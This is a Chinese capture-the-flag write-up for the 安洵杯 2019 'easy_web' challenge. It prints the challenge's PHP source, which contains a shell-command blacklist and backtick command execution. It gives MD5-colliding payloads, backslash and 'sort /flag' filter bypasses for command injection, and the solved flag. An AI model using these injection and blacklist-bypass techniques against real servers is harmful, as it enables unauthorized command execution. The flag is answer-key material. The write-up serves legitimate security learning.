[安洵杯 2019] web题-easy_web

[安洵杯 2019] web题-easy_web_第1张图片
嘻嘻

发现url存在base64加密,尝试解密得到了加密规则,解密出来是图片的名字555.png
base64->base64->hex
TXpVek5UTTFNbVUzTURabE5qYz0->MzUzNTM1MmU3MDZlNjc=->3535352e706e67->555.png
得到了加密规则,将index.php加密抓包得到源码
hex->base64->base64
最后加密完成是:TmprMlJUWTBOalUzT0RKRk56QTJPRGN3
[安洵杯 2019] web题-easy_web_第2张图片

访问以后获得源码,将加密的源码进行解密
[安洵杯 2019] web题-easy_web_第3张图片


error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
     
    echo '';
    die("xixi~ no flag");
} else {
     
    $txt = base64_encode(file_get_contents($file));
    echo "";
    echo "
"
; } echo $cmd; echo "
"
; if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) { echo("forbid ~"); echo "
"
; } else { if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) { echo `$cmd`; } else { echo ("md5 is funny ~"); } } ?> <html> <style> body{ background:url(./bj.png) no-repeat center center; background-size:cover; background-attachment:fixed; background-color:#CCCCCC; } </style> <body> </body> </html>

这里有正则又有强类型。。卒!

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

然后构造数据包进行发包
使用ca\t%20f/flag 可以获取到flag,也可以使用sort%20/flag获取

[安洵杯 2019] web题-easy_web_第4张图片
[安洵杯 2019] web题-easy_web_第5张图片
flag:flag{c99dc1e6-5968-4023-b14b-6fcf934a5140}

你可能感兴趣的:(CTF练习)